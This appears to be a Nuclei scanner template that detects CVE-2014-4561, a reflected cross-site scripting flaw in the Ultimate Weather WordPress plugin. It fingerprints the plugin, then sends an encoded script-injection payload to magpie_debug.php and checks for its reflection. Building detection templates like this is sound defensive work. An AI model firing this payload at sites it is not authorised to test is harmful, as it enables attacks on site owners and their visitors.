id: CVE-2014-4561

info:
  name: Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the plugin's output, potentially leading to the execution of arbitrary code or stealing sensitive information.
  remediation: |
    Upgrade to a patched version of the Ultimate Weather Plugin that addresses the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5c358ef6-8059-4767-8bcb-418a45b2352d
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4561
    - http://codevigilant.com/disclosure/wp-plugin-ultimate-weather-plugin-a3-cross-site-scripting-xss/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4561
    cwe-id: CWE-79
    epss-score: 0.03686
    epss-percentile: 0.88258
    cpe: cpe:2.3:a:ultimate-weather_project:ultimate-weather:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "ultimate-weather_project"
    product: "ultimate-weather"
    framework: wordpress
  tags: cve2014,cve,wordpress,wp-plugin,xss,weather,wpscan,unauth,ultimate-weather_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ultimate-weather-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ultimate Weather'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b2cb6dffa09aa014db9a0939b13bd1a586a26002caf9ff3e3bf1b3b19182e9ca022100bb61e4ed436efe20f3f35c7c7d307d44e746bb91cd07e5cd837c3eb7b5335c14:922c64590222798bb761d5b6d8e72950